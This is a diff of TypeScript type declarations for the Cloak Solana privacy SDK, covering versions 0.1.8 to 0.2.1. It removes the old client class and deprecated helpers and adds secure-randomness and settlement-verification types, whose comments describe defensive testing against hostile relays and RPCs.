@cloak.dev/sdk 0.1.8 → 0.2.1

package/dist/index.d.ts

@@ -1,4 +1,24 @@
-import { PublicKey, Transaction, Connection, AddressLookupTableAccount, TransactionInstruction, Keypair, SendOptions, VersionedTransaction } from '@solana/web3.js';
+import { PublicKey, Transaction, AddressLookupTableAccount, Connection, TransactionInstruction, Keypair, SendOptions, VersionedTransaction } from '@solana/web3.js';
+
+/**
+ * The deployed Cloak program.
+ *
+ * This lived in `core/CloakSDK.ts` until that class was removed. It is protocol
+ * configuration, not client state: every PDA derivation, every scan and every
+ * `transact()` submission is addressed to it, so it belongs beside the other
+ * pinned protocol facts in `config/` rather than inside one client object.
+ */
+
+/**
+ * Address of the Cloak shield-pool program on Solana mainnet.
+ *
+ * The same address is used by every environment the SDK talks to (a local
+ * Surfpool fork mirrors mainnet, so it carries the same program id). Callers
+ * that need a different deployment pass an explicit `programId` to the function
+ * they are calling — `getShieldPoolPDAs`, `transact`, `scanTransactions` and
+ * friends all take one.
+ */
+declare const CLOAK_PROGRAM_ID: PublicKey;
 
 type ComplianceTxType = "deposit" | "withdraw" | "send" | "swap";
 interface TransactionMetadata {
@@ -454,415 +474,6 @@ declare function exportKeys(keys: CloakKeyPair): string;
  */
 declare function importKeys(exported: string): CloakKeyPair;
 
-/**
- * Storage Interface
- *
- * Defines a pluggable storage interface for notes and keys.
- * Applications can implement their own storage (localStorage, IndexedDB, file system, etc.)
- */
-
-/**
- * Storage adapter interface
- *
- * Implement this interface to provide custom storage for notes and keys.
- * The SDK will use this adapter for all persistence operations.
- */
-interface StorageAdapter {
-    /**
-     * Save a note
-     */
-    saveNote(note: CloakNote): Promise<void> | void;
-    /**
-     * Load all notes
-     */
-    loadAllNotes(): Promise<CloakNote[]> | CloakNote[];
-    /**
-     * Update a note
-     */
-    updateNote(commitment: string, updates: Partial<CloakNote>): Promise<void> | void;
-    /**
-     * Delete a note
-     */
-    deleteNote(commitment: string): Promise<void> | void;
-    /**
-     * Clear all notes
-     */
-    clearAllNotes(): Promise<void> | void;
-    /**
-     * Save wallet keys
-     */
-    saveKeys(keys: CloakKeyPair): Promise<void> | void;
-    /**
-     * Load wallet keys
-     */
-    loadKeys(): Promise<CloakKeyPair | null> | CloakKeyPair | null;
-    /**
-     * Delete wallet keys
-     */
-    deleteKeys(): Promise<void> | void;
-}
-/**
- * In-memory storage adapter (default, no persistence)
- *
- * Useful for testing or when storage is handled externally
- */
-declare class MemoryStorageAdapter implements StorageAdapter {
-    private notes;
-    private keys;
-    saveNote(note: CloakNote): void;
-    loadAllNotes(): CloakNote[];
-    updateNote(commitment: string, updates: Partial<CloakNote>): void;
-    deleteNote(commitment: string): void;
-    clearAllNotes(): void;
-    saveKeys(keys: CloakKeyPair): void;
-    loadKeys(): CloakKeyPair | null;
-    deleteKeys(): void;
-}
-/**
- * Browser localStorage adapter (optional, for browser environments)
- *
- * Only use this if you're in a browser environment and want localStorage persistence.
- * Import from a separate browser-specific module.
- */
-declare class LocalStorageAdapter implements StorageAdapter {
-    private notesKey;
-    private keysKey;
-    constructor(notesKey?: string, keysKey?: string);
-    private getStorage;
-    saveNote(note: CloakNote): void;
-    loadAllNotes(): CloakNote[];
-    updateNote(commitment: string, updates: Partial<CloakNote>): void;
-    deleteNote(commitment: string): void;
-    clearAllNotes(): void;
-    saveKeys(keys: CloakKeyPair): void;
-    loadKeys(): CloakKeyPair | null;
-    deleteKeys(): void;
-}
-
-/** Default Cloak Program ID on Solana */
-declare const CLOAK_PROGRAM_ID: PublicKey;
-/**
- * Main Cloak SDK
- *
- * Provides high-level API for interacting with the Cloak protocol,
- * including deposits, withdrawals, and private transfers.
- *
- * Supports two modes:
- * 1. Node.js mode with keypairBytes - for scripts and backend services
- * 2. Wallet adapter mode - for browser applications with wallet integration
- */
-declare class CloakSDK {
-    private config;
-    private keypair?;
-    private wallet?;
-    private cloakKeys?;
-    private relay;
-    private storage;
-    /**
-    * Create a new Cloak SDK client
-     *
-     * @param config - Client configuration
-     *
-     * @example Node.js mode (with keypair)
-     * ```typescript
-     * const sdk = new CloakSDK({
-     *   keypairBytes: keypair.secretKey,
-     *   network: "devnet"
-     * });
-     * ```
-     *
-     * @example Browser mode (with wallet adapter)
-     * ```typescript
-     * const sdk = new CloakSDK({
-     *   wallet: walletAdapter,
-     *   network: "devnet"
-     * });
-     * ```
-     */
-    constructor(config: {
-        /** Keypair bytes for signing (Node.js mode) */
-        keypairBytes?: Uint8Array;
-        /** Wallet adapter for signing (Browser mode) */
-        wallet?: WalletAdapter;
-        network?: Network;
-        cloakKeys?: CloakKeyPair;
-        storage?: StorageAdapter;
-        programId?: PublicKey;
-        relayUrl?: string;
-        /** Enable debug logging with structured output */
-        debug?: boolean;
-    });
-    /**
-     * Get the public key for deposits (from keypair or wallet)
-     */
-    getPublicKey(): PublicKey;
-    /**
-     * Check if the SDK is using a wallet adapter
-     */
-    isWalletMode(): boolean;
-    /**
-     * Deposit SOL into the Cloak protocol
-     *
-     * Creates a new note (or uses a provided one), submits a deposit transaction,
-     * and registers with the indexer.
-     *
-     * @param connection - Solana connection
-     * @param payer - Payer wallet with sendTransaction method
-     * @param amountOrNote - Amount in lamports OR an existing note to deposit
-     * @param options - Optional configuration
-     * @returns Deposit result with note and transaction info
-     *
-     * @example
-     * ```typescript
-     * // Generate and deposit in one step
-     * const result = await client.deposit(
-     *   connection,
-     *   wallet,
-     *   1_000_000_000,
-     *   {
-     *     onProgress: (status) => console.log(status)
-     *   }
-     * );
-     *
-     * // Or deposit a pre-generated note
-     * const note = client.generateNote(1_000_000_000);
-     * const result = await client.deposit(connection, wallet, note);
-     * ```
-     */
-    deposit(connection: Connection, amountOrNote: number | CloakNote, options?: DepositOptions): Promise<DepositResult>;
-    /**
-     * Private transfer with up to 5 recipients
-     *
-     * Handles the complete private transfer flow:
-     * 1. If note is not deposited, deposits it first and waits for confirmation
-     * 2. Generates a zero-knowledge proof
-     * 3. Submits the withdrawal via relay service to recipients
-     *
-     * This is the main method for performing private transfers - it handles everything!
-     *
-     * @param connection - Solana connection (required for deposit if not already deposited)
-     * @param payer - Payer wallet (required for deposit if not already deposited)
-     * @param note - Note to spend (can be deposited or not)
-     * @param recipients - Array of 1-5 recipients with amounts
-     * @param options - Optional configuration
-     * @returns Transfer result with signature and outputs
-     *
-     * @example
-     * ```typescript
-     * // Create a note (not deposited yet)
-     * const note = client.generateNote(1_000_000_000);
-     *
-     * // privateTransfer handles the full flow: deposit + withdraw
-     * const result = await client.privateTransfer(
-     *   connection,
-     *   wallet,
-     *   note,
-     *   [
-     *     { recipient: new PublicKey("..."), amount: 500_000_000 },
-     *     { recipient: new PublicKey("..."), amount: 492_500_000 }
-     *   ],
-     *   {
-     *     relayFeeBps: 50, // 0.5%
-     *     onProgress: (status) => console.log(status),
-     *     onProofProgress: (pct) => console.log(`Proof: ${pct}%`)
-     *   }
-     * );
-     * console.log(`Success! TX: ${result.signature}`);
-     * ```
-     */
-    privateTransfer(connection: Connection, note: CloakNote, recipients: MaxLengthArray<Transfer, 5>, options?: TransferOptions): Promise<TransferResult>;
-    /**
-     * Withdraw to a single recipient
-     *
-     * Convenience method for withdrawing to one address.
-     * Handles the complete flow: deposits if needed, then withdraws.
-     *
-     * @param connection - Solana connection
-     * @param payer - Payer wallet
-     * @param note - Note to spend
-     * @param recipient - Recipient address
-     * @param options - Optional configuration
-     * @returns Transfer result
-     *
-     * @example
-     * ```typescript
-     * const note = client.generateNote(1_000_000_000);
-     * const result = await client.withdraw(
-     *   connection,
-     *   wallet,
-     *   note,
-     *   new PublicKey("..."),
-     *   { withdrawAll: true }
-     * );
-     * ```
-     */
-    withdraw(connection: Connection, note: CloakNote, recipient: PublicKey, options?: WithdrawOptions): Promise<TransferResult>;
-    /**
-     * Send SOL privately to multiple recipients
-     *
-     * Convenience method that wraps privateTransfer with a simpler API.
-     * Handles the complete flow: deposits if needed, then sends to recipients.
-     *
-     * @param connection - Solana connection
-     * @param note - Note to spend
-     * @param recipients - Array of 1-5 recipients with amounts
-     * @param options - Optional configuration
-     * @returns Transfer result
-     *
-     * @example
-     * ```typescript
-     * const note = client.generateNote(1_000_000_000);
-     * const result = await client.send(
-     *   connection,
-     *   note,
-     *   [
-     *     { recipient: new PublicKey("..."), amount: 500_000_000 },
-     *     { recipient: new PublicKey("..."), amount: 492_500_000 }
-     *   ]
-     * );
-     * ```
-     */
-    send(connection: Connection, note: CloakNote, recipients: MaxLengthArray<Transfer, 5>, options?: TransferOptions): Promise<TransferResult>;
-    /**
-     * Swap SOL for tokens privately
-     *
-     * Withdraws SOL from a note and swaps it for tokens via the relay service.
-     * Handles the complete flow: deposits if needed, generates proof, and submits swap.
-     *
-     * @param connection - Solana connection
-     * @param note - Note to spend
-     * @param recipient - Recipient address (will receive tokens)
-     * @param options - Swap configuration
-     * @returns Swap result with transaction signature
-     *
-     * @example
-     * ```typescript
-     * const note = client.generateNote(1_000_000_000);
-     * const result = await client.swap(
-     *   connection,
-     *   note,
-     *   new PublicKey("..."), // recipient
-     *   {
-     *     outputMint: "EPjFWdd5AufqSSqeM2qN1xzybapC8G4wEGGkZwyTDt1v", // USDC
-     *     slippageBps: 100, // 1%
-     *     getQuote: async (amount, mint, slippage) => {
-     *       // Fetch quote from your swap API
-     *       const quote = await fetchSwapQuote(amount, mint, slippage);
-     *       return {
-     *         outAmount: quote.outAmount,
-     *         minOutputAmount: quote.minOutputAmount
-     *       };
-     *     }
-     *   }
-     * );
-     * ```
-     */
-    swap(connection: Connection, note: CloakNote, recipient: PublicKey, options: SwapOptions): Promise<SwapResult>;
-    /**
-     * Generate a new note without depositing
-     *
-     * @param amountLamports - Amount for the note
-     * @param useWalletKeys - Whether to use wallet keys (v2.0 recommended)
-     * @returns New note (not yet deposited)
-     */
-    generateNote(amountLamports: number, useWalletKeys?: boolean): Promise<CloakNote>;
-    /**
-     * Parse a note from JSON string
-     *
-     * @param jsonString - JSON representation
-     * @returns Parsed note
-     */
-    parseNote(jsonString: string): CloakNote;
-    /**
-     * Export a note to JSON string
-     *
-     * @param note - Note to export
-     * @param pretty - Format with indentation
-     * @returns JSON string
-     */
-    exportNote(note: CloakNote, pretty?: boolean): string;
-    /**
-     * Check if a note is ready for withdrawal
-     *
-     * @param note - Note to check
-     * @returns True if withdrawable
-     */
-    isWithdrawable(note: CloakNote): boolean;
-    /**
-     * Get Merkle proof for a leaf index directly from on-chain state
-     *
-     * @param connection - Solana connection
-     * @param leafIndex - Leaf index in tree
-     * @returns Merkle proof computed from on-chain data
-     */
-    getMerkleProof(connection: Connection, leafIndex: number): Promise<MerkleProof>;
-    /**
-     * Get current Merkle root directly from on-chain state
-     *
-     * @param connection - Solana connection
-     * @returns Current root hash from on-chain tree
-     */
-    getCurrentRoot(connection: Connection): Promise<string>;
-    /**
-     * Get transaction status from relay service
-     *
-     * @param requestId - Request ID from previous submission
-     * @returns Current status
-     */
-    getTransactionStatus(requestId: string): Promise<TxStatus>;
-    /**
-     * Fetch and decrypt this user's transaction metadata history.
-     * DEPRECATED: This functionality is no longer supported
-     */
-    getTransactionMetadata(_options?: {
-        _after?: number;
-        _before?: number;
-    }): Promise<TransactionMetadata[]>;
-    /**
-     * Load all notes from storage
-     *
-     * @returns Array of saved notes
-     */
-    loadNotes(): Promise<CloakNote[]>;
-    /**
-     * Save a note to storage
-     *
-     * @param note - Note to save
-     */
-    saveNote(note: CloakNote): Promise<void>;
-    /**
-     * Find a note by its commitment
-     *
-     * @param commitment - Commitment hash
-     * @returns Note if found
-     */
-    findNote(commitment: string): Promise<CloakNote | undefined>;
-    /**
-     * Import wallet keys from JSON
-     *
-     * @param keysJson - JSON string containing keys
-     */
-    importWalletKeys(keysJson: string): Promise<void>;
-    /**
-     * Export wallet keys to JSON
-     *
-     * WARNING: This exports secret keys! Store securely.
-     *
-     * @returns JSON string with keys
-     */
-    exportWalletKeys(): string;
-    /**
-     * Get the configuration
-     */
-    getConfig(): CloakConfig;
-    /**
-     * Wrap errors with better categorization and user-friendly messages
-     *
-     * @private
-     */
-    private wrapError;
-}
-
 /**
  * Serialize a note to JSON string
  *
@@ -1013,18 +624,12 @@ declare function calculateRelayFee(amountLamports: number, feeBps: number): numb
  * Storage is handled externally via StorageAdapter.
  *
  * Core functionality:
- * - Generate notes (v1.0 and v2.0)
+ * - Generate notes from wallet keys
  * - Parse and validate notes
  * - Note utilities (formatting, fees, etc.)
  * - Key management (without storage)
  */
 
-/**
- * Generate a new note without wallet keys (legacy v1.0)
- * Uses Poseidon hashing to match circuit implementation
- * @deprecated Use generateNoteFromWallet instead for enhanced security
- */
-declare function generateNote(amountLamports: number, network?: Network): Promise<CloakNote>;
 /**
  * Generate a note using wallet's spend key (v2.0 recommended)
  * Uses Poseidon hashing to match circuit implementation
@@ -1091,45 +696,130 @@ declare function getViewKey(keys: CloakKeyPair): ViewKey;
  */
 declare function getRecipientAmount(amountLamports: number): number;
 
-interface ViewingKeyPair {
-    privateKey: Uint8Array;
-    publicKey: Uint8Array;
-}
-/** Zcash-style expanded spend key: ask (auth), nsk (nullifier/nk), ovk (outgoing view) */
-interface ExpandedSpendKey {
-    ask: Uint8Array;
-    nsk: Uint8Array;
-    ovk: Uint8Array;
-}
 /**
- * Expand spend key into (ask, nsk, ovk) — Zcash-style.
- * - ask: spend authorization (future)
- * - nsk: base for incoming viewing (nk) — chain note decryption
- * - ovk: outgoing viewing (future)
- */
-declare function expandSpendKey(skSpend: Uint8Array): ExpandedSpendKey;
-/**
- * Derive chain note viewing key from nk (Zcash-style IVK component).
- * Used for trial-decrypting incoming chain notes.
+ * Storage Interface
  *
- * @param nk 32-byte nk (from expandSpendKey(...).nsk — the incoming view base)
- */
-declare function deriveViewingKeyFromNk(nk: Uint8Array): ViewingKeyPair;
-/**
- * Derive diversifier for per-output chain note encryption (Phase 3).
- * d = BLAKE3("cloak_div_v1" || nk || commitmentHex || outputIndex)[0:11]
- */
-declare function deriveDiversifier(nk: Uint8Array, commitmentHex: string, outputIndex: number): Uint8Array;
-/**
- * Derive per-output viewing key pair from nk + diversifier (Phase 3).
- * sk_d = BLAKE3("cloak_sk_d_v1" || nk || d) → clamp → X25519 keypair
+ * Defines a pluggable storage interface for notes and keys.
+ * Applications can implement their own storage (localStorage, IndexedDB, file system, etc.)
  */
-declare function deriveDiversifiedViewingKey(nk: Uint8Array, diversifier: Uint8Array): ViewingKeyPair;
+
 /**
- * Derive chain note viewing key from spend key (Zcash-style).
- * Expands to (ask, nsk, ovk) and uses nsk (nk) for chain note decryption.
+ * Storage adapter interface
+ *
+ * Implement this interface to provide custom storage for notes and keys.
+ * The SDK will use this adapter for all persistence operations.
  */
-declare function deriveViewingKeyFromSpendKey(skSpend: Uint8Array): ViewingKeyPair;
+interface StorageAdapter {
+    /**
+     * Save a note
+     */
+    saveNote(note: CloakNote): Promise<void> | void;
+    /**
+     * Load all notes
+     */
+    loadAllNotes(): Promise<CloakNote[]> | CloakNote[];
+    /**
+     * Update a note
+     */
+    updateNote(commitment: string, updates: Partial<CloakNote>): Promise<void> | void;
+    /**
+     * Delete a note
+     */
+    deleteNote(commitment: string): Promise<void> | void;
+    /**
+     * Clear all notes
+     */
+    clearAllNotes(): Promise<void> | void;
+    /**
+     * Save wallet keys
+     */
+    saveKeys(keys: CloakKeyPair): Promise<void> | void;
+    /**
+     * Load wallet keys
+     */
+    loadKeys(): Promise<CloakKeyPair | null> | CloakKeyPair | null;
+    /**
+     * Delete wallet keys
+     */
+    deleteKeys(): Promise<void> | void;
+}
+/**
+ * In-memory storage adapter (default, no persistence)
+ *
+ * Useful for testing or when storage is handled externally
+ */
+declare class MemoryStorageAdapter implements StorageAdapter {
+    private notes;
+    private keys;
+    saveNote(note: CloakNote): void;
+    loadAllNotes(): CloakNote[];
+    updateNote(commitment: string, updates: Partial<CloakNote>): void;
+    deleteNote(commitment: string): void;
+    clearAllNotes(): void;
+    saveKeys(keys: CloakKeyPair): void;
+    loadKeys(): CloakKeyPair | null;
+    deleteKeys(): void;
+}
+/**
+ * Browser localStorage adapter (optional, for browser environments)
+ *
+ * Only use this if you're in a browser environment and want localStorage persistence.
+ * Import from a separate browser-specific module.
+ */
+declare class LocalStorageAdapter implements StorageAdapter {
+    private notesKey;
+    private keysKey;
+    constructor(notesKey?: string, keysKey?: string);
+    private getStorage;
+    saveNote(note: CloakNote): void;
+    loadAllNotes(): CloakNote[];
+    updateNote(commitment: string, updates: Partial<CloakNote>): void;
+    deleteNote(commitment: string): void;
+    clearAllNotes(): void;
+    saveKeys(keys: CloakKeyPair): void;
+    loadKeys(): CloakKeyPair | null;
+    deleteKeys(): void;
+}
+
+interface ViewingKeyPair {
+    privateKey: Uint8Array;
+    publicKey: Uint8Array;
+}
+/** Zcash-style expanded spend key: ask (auth), nsk (nullifier/nk), ovk (outgoing view) */
+interface ExpandedSpendKey {
+    ask: Uint8Array;
+    nsk: Uint8Array;
+    ovk: Uint8Array;
+}
+/**
+ * Expand spend key into (ask, nsk, ovk) — Zcash-style.
+ * - ask: spend authorization (future)
+ * - nsk: base for incoming viewing (nk) — chain note decryption
+ * - ovk: outgoing viewing (future)
+ */
+declare function expandSpendKey(skSpend: Uint8Array): ExpandedSpendKey;
+/**
+ * Derive chain note viewing key from nk (Zcash-style IVK component).
+ * Used for trial-decrypting incoming chain notes.
+ *
+ * @param nk 32-byte nk (from expandSpendKey(...).nsk — the incoming view base)
+ */
+declare function deriveViewingKeyFromNk(nk: Uint8Array): ViewingKeyPair;
+/**
+ * Derive diversifier for per-output chain note encryption (Phase 3).
+ * d = BLAKE3("cloak_div_v1" || nk || commitmentHex || outputIndex)[0:11]
+ */
+declare function deriveDiversifier(nk: Uint8Array, commitmentHex: string, outputIndex: number): Uint8Array;
+/**
+ * Derive per-output viewing key pair from nk + diversifier (Phase 3).
+ * sk_d = BLAKE3("cloak_sk_d_v1" || nk || d) → clamp → X25519 keypair
+ */
+declare function deriveDiversifiedViewingKey(nk: Uint8Array, diversifier: Uint8Array): ViewingKeyPair;
+/**
+ * Derive chain note viewing key from spend key (Zcash-style).
+ * Expands to (ask, nsk, ovk) and uses nsk (nk) for chain note decryption.
+ */
+declare function deriveViewingKeyFromSpendKey(skSpend: Uint8Array): ViewingKeyPair;
 /**
  * Derive chain note viewing key from UTXO private key (Zcash-style).
  * New UTXO (new keypair) => new viewing key.
@@ -1243,26 +933,13 @@ declare function computeMerkleRoot(leaf: bigint, pathElements: bigint[], pathInd
  * Convert hex string to bigint
  */
 declare function hexToBigint$1(hex: string): bigint;
-/**
- * Compute commitment = Poseidon(amount, r0, r1, pk_spend)
- * where pk_spend = Poseidon(sk0, sk1)
- * (matching withdraw_regular.circom)
- *
- * This is the test-style function that takes bigints directly
- *
- * @param amount - Amount as bigint
- * @param r - Randomness as bigint
- * @param sk_spend - Spending secret key as bigint
- * @returns Commitment hash as bigint
- */
-declare function computeCommitment$1(amount: bigint, r: bigint, sk_spend: bigint): Promise<bigint>;
 /**
  * Generate a Poseidon commitment for a note
  *
  * Formula: Poseidon(amount, r0, r1, pk_spend)
  * where pk_spend = Poseidon(sk0, sk1)
  *
- * This matches the withdraw_regular.circom circuit
+ * Legacy CloakNote commitment layout (see `computeCommitment`).
  *
  * @param amountLamports - Amount in lamports
  * @param r - Randomness bytes (32 bytes)
@@ -1270,110 +947,6 @@ declare function computeCommitment$1(amount: bigint, r: bigint, sk_spend: bigint
  * @returns Commitment hash as bigint
  */
 declare function generateCommitmentAsync(amountLamports: number, r: Uint8Array, skSpend: Uint8Array): Promise<bigint>;
-/**
- * Generate a Poseidon commitment for a note (sync wrapper)
- * Returns bytes instead of bigint for backward compatibility
- *
- * @deprecated Use generateCommitmentAsync instead
- */
-declare function generateCommitment(_amountLamports: number, _r: Uint8Array, _skSpend: Uint8Array): Uint8Array;
-/**
- * Compute nullifier = Poseidon(sk0, sk1, leaf_index)
- * (matching withdraw_regular.circom)
- *
- * This is the test-style function that takes bigint directly
- *
- * @param sk_spend - Spending secret key as bigint
- * @param leafIndex - Index in the Merkle tree as bigint
- * @returns Nullifier as bigint
- */
-declare function computeNullifier$1(sk_spend: bigint, leafIndex: bigint): Promise<bigint>;
-/**
- * Compute nullifier from spending key and leaf index
- *
- * Formula: Poseidon(sk0, sk1, leaf_index)
- *
- * This matches the circuit's nullifier computation
- *
- * @param skSpend - Spending secret key bytes (32 bytes) or hex string
- * @param leafIndex - Index in the Merkle tree
- * @returns Nullifier as bigint
- */
-declare function computeNullifierAsync(skSpend: Uint8Array | string, leafIndex: number): Promise<bigint>;
-/**
- * Compute nullifier (sync wrapper for backward compatibility)
- * @deprecated Use computeNullifierAsync instead
- */
-declare function computeNullifierSync(_skSpend: Uint8Array, _leafIndex: number): Uint8Array;
-/**
- * Compute outputs hash from recipients and amounts
- *
- * Formula: Chain of Poseidon(prev_hash, addr_lo, addr_hi, amount) for each active output
- *
- * This matches the withdraw_regular.circom circuit's outputs hash computation
- *
- * @param outputs - Array of {recipient: PublicKey, amount: number}
- * @returns Outputs hash as bigint
- */
-declare function computeOutputsHashAsync(outputs: Array<{
-    recipient: PublicKey;
-    amount: number;
-}>): Promise<bigint>;
-/**
- * Compute outputs hash for withdraw_regular circuit
- * outputs_hash = chain of Poseidon(prev_hash, addr_lo, addr_hi, amount) for each active output
- *
- * This is the test-style function that takes raw limbs
- *
- * @param outAddr - Array of [lo, hi] limb pairs for each address (5x2 array)
- * @param outAmount - Array of amounts as bigints (5 elements)
- * @param outFlags - Array of flags (1 = active, 0 = inactive) (5 elements)
- * @returns Outputs hash as bigint
- */
-declare function computeOutputsHash(outAddr: bigint[][], outAmount: bigint[], outFlags: number[]): Promise<bigint>;
-/**
- * Compute outputs hash (sync wrapper for backward compatibility)
- * @deprecated Use computeOutputsHashAsync instead
- */
-declare function computeOutputsHashSync(_outputs: Array<{
-    recipient: PublicKey;
-    amount: number;
-}>): Uint8Array;
-/**
- * Compute outputs hash for withdraw_swap circuit
- * outputs_hash = Poseidon(input_mint limbs, output_mint limbs, recipient_ata limbs, min_output_amount, public_amount)
- *
- * This is the test-style function that takes raw limbs
- *
- * @param inputMintLimbs - Input mint address as [lo, hi] limbs
- * @param outputMintLimbs - Output mint address as [lo, hi] limbs
- * @param recipientAtaLimbs - Recipient ATA as [lo, hi] limbs
- * @param minOutputAmount - Minimum output amount as bigint
- * @param publicAmount - Public amount as bigint
- * @returns Outputs hash as bigint
- */
-declare function computeSwapOutputsHash(inputMintLimbs: [bigint, bigint], outputMintLimbs: [bigint, bigint], recipientAtaLimbs: [bigint, bigint], minOutputAmount: bigint, publicAmount: bigint): Promise<bigint>;
-/**
- * Compute outputs hash for swap transactions
- *
- * Formula: Poseidon(input_mint_lo, input_mint_hi, output_mint_lo, output_mint_hi,
- *                   recipient_ata_lo, recipient_ata_hi, min_output_amount, public_amount)
- *
- * This matches the withdraw_swap.circom circuit
- *
- * @param inputMint - Input token mint address (SOL = SystemProgram)
- * @param outputMint - Output token mint address
- * @param recipientAta - Recipient's associated token account
- * @param minOutputAmount - Minimum output amount in token's smallest unit
- * @param amount - Note amount in lamports (public_amount)
- * @returns Outputs hash as bigint
- */
-declare function computeSwapOutputsHashAsync(inputMint: PublicKey, outputMint: PublicKey, recipientAta: PublicKey, minOutputAmount: number, amount: number): Promise<bigint>;
-/**
- * Compute swap outputs hash (sync wrapper for backward compatibility)
- * @deprecated Use computeSwapOutputsHashAsync instead
- */
-declare function computeSwapOutputsHashSync(_outputMint: PublicKey, _recipientAta: PublicKey, _minOutputAmount: number, _amount: number): Uint8Array;
 /**
  * Convert bigint to 32-byte big-endian Uint8Array
  */
@@ -1394,10 +967,27 @@ declare function hexToBytes(hex: string): Uint8Array;
  */
 declare function bytesToHex(bytes: Uint8Array, prefix?: boolean): string;
 /**
- * Generate random bytes using Web Crypto API
+ * Thrown when no cryptographically secure randomness source is reachable.
+ *
+ * `randomBytes` backs note spend keys, blindings, salts and nonces. A predictable
+ * value there is unrecoverable — it deanonymizes and can drain the note — so the
+ * SDK fails closed instead of degrading to a non-cryptographic generator.
+ */
+declare class InsecureRandomnessError extends CloakError {
+    constructor(message: string, originalError?: Error);
+}
+/**
+ * Generate cryptographically secure random bytes.
+ *
+ * Source order: `globalThis.crypto.getRandomValues` first (works in every runtime
+ * this SDK supports, under both ESM and CJS), then `node:crypto.randomFillSync`.
+ * There is deliberately **no** insecure fallback: if neither source is usable this
+ * throws {@link InsecureRandomnessError} naming every source that was tried and why
+ * it failed.
  *
  * @param length - Number of bytes to generate
  * @returns Random bytes
+ * @throws {InsecureRandomnessError} If no cryptographically secure source is available
  */
 declare function randomBytes(length: number): Uint8Array;
 /**
@@ -1429,11 +1019,6 @@ interface Groth16Proof {
  * Format: pi_a (64) + pi_b (128) + pi_c (64) = 256 bytes
  */
 declare function proofToBytes(proof: Groth16Proof): Uint8Array;
-/**
- * Build public inputs bytes for on-chain verification
- * Format: root (32) + nullifier (32) + outputs_hash (32) + public_amount (8) = 104 bytes
- */
-declare function buildPublicInputsBytes(root: bigint, nullifier: bigint, outputsHash: bigint, publicAmount: bigint): Uint8Array;
 
 /**
  * Validate a Solana public key
@@ -1672,6 +1257,67 @@ declare class RelayInternalError extends Error {
      */
     cachedTreeFromChain?: MerkleTree | undefined);
 }
+/**
+ * Raised when a submission's outcome could NOT be established as "landed" from chain state.
+ *
+ * This is the failure side of settlement verification (see `flows/settlement.ts`). It exists
+ * because the campaign's worst outcome was not a failed transaction — it was an AMBIGUOUS one
+ * whose error text carried no signature (REL-A-10: seven POSTs, the transaction landed, the SDK
+ * threw `RelayInternalError`, and the user had nothing to look up). Losing the signature is what
+ * turns a landed transaction into a support ticket.
+ *
+ * `outcome` is deliberately unambiguous for the caller:
+ *
+ *   "landed"      the transaction DID land — the input nullifier PDAs exist — but the relay never
+ *                 returned a usable response, so the SDK cannot hand back commitment indices.
+ *                 DO NOT RETRY: a retry spends nothing and fails 0x1020. Rescan to recover notes.
+ *   "not-landed"  provably nothing landed. The inputs are unspent; retrying is safe.
+ *   "unknown"     the evidence is contradictory or unavailable. Check `signature` on an
+ *                 independent RPC before doing anything else.
+ *   "failed"      the transaction is on chain and failed during execution. Inputs are unspent.
+ */
+declare class SettlementVerificationError extends Error {
+    /** What the chain evidence supports. See the class doc — each value implies a different action. */
+    readonly outcome: "landed" | "not-landed" | "unknown" | "failed";
+    /**
+     * The signature to look up, when one is known. `null` means no counterparty ever gave the SDK
+     * one — which is itself part of the report, not something to paper over.
+     */
+    readonly signature: string | null;
+    /** The verifier's own statement of what was and was not proven. */
+    readonly reason: string;
+    /** True when the input nullifier PDAs were observed on chain. */
+    readonly nullifiersSpent: boolean;
+    /** The underlying relay/RPC error, when the failure started as one. */
+    readonly cause?: unknown | undefined;
+    constructor(message: string, 
+    /** What the chain evidence supports. See the class doc — each value implies a different action. */
+    outcome: "landed" | "not-landed" | "unknown" | "failed", 
+    /**
+     * The signature to look up, when one is known. `null` means no counterparty ever gave the SDK
+     * one — which is itself part of the report, not something to paper over.
+     */
+    signature: string | null, 
+    /** The verifier's own statement of what was and was not proven. */
+    reason: string, 
+    /** True when the input nullifier PDAs were observed on chain. */
+    nullifiersSpent?: boolean, 
+    /** The underlying relay/RPC error, when the failure started as one. */
+    cause?: unknown | undefined);
+    /** True when retrying this exact spend is safe (nothing was consumed on chain). */
+    get safeToRetry(): boolean;
+}
+/**
+ * Pull the signature out of a relay error body.
+ *
+ * The relay's `SubmissionOutcomeUnknown` response is a 503 whose JSON carries
+ * `{"code":"submission_outcome_unknown","retryable":true,"signature":"<sig>"}` (relay
+ * `src/error.rs`). The SDK used to funnel that body into a generic retry and then throw an error
+ * built from a LATER attempt's message, dropping the one field the user needs.
+ */
+declare function parseRelayErrorSignature(responseText: string): string | null;
+/** True when a relay error body is the relay's own "I do not know if this landed" report. */
+declare function isSubmissionOutcomeUnknownResponse(responseText: string): boolean;
 /**
  * Classify a relay error (response body text + HTTP status) into one of the
  * structured error types above, or fall back to RelayInternalError.
@@ -2046,12 +1692,147 @@ interface VerifyUtxosResult {
 declare function verifyUtxos(utxos: Utxo[], connection: Connection, programId: PublicKey, commitment?: "processed" | "confirmed" | "finalized"): Promise<VerifyUtxosResult>;
 /**
  * Pre-flight gate: throw `UtxoAlreadySpentError` if any input is already
- * spent on-chain. Called at the top of spend entry points in core/transact.
+ * spent on-chain. Called at the top of spend entry points in flows/transact.
  *
  * Browser-safe: uses one batched RPC call.
  */
 declare function preflightNullifiers(utxos: Utxo[], connection: Connection, programId: PublicKey, commitment?: "processed" | "confirmed" | "finalized"): Promise<void>;
 
+/**
+ * Settlement verification — decide from CHAIN STATE whether a submission landed.
+ *
+ * Why this module exists (adversarial campaign, tier 2):
+ *
+ *   X-S-01B  A hostile relay answered `/transact` with a well-formed success body carrying a
+ *            phantom signature and commitment indices [4242, 4243]. The SDK returned SUCCESS.
+ *            Real-RPC `getSignatureStatuses(searchTransactionHistory)` -> null, and BOTH input
+ *            nullifier PDAs read `exists=false`. Nothing had landed.
+ *   X-S-03a  A hostile RPC swallowed `sendTransaction` and fabricated
+ *            `{err: null, confirmationStatus: "finalized"}`. `confirmTransaction` was satisfied and
+ *            the SDK returned a signature for a transaction that was never forwarded. (A control
+ *            deposit landed honestly through the same proxy, so account reads were NOT tampered
+ *            with — only the submission and its status were.)
+ *
+ * Both defects have the same shape: the SDK reported success on the strength of what its
+ * counterparty SAID, never on the strength of what the chain SHOWS.
+ *
+ * The ground truth used here is the one the campaign itself used to prove nothing landed: the
+ * input NULLIFIER PDAs. Their addresses are derived locally from the proof's own public inputs
+ * (`["nullifier", pool, nullifier]`), and the program creates one per non-zero input nullifier on
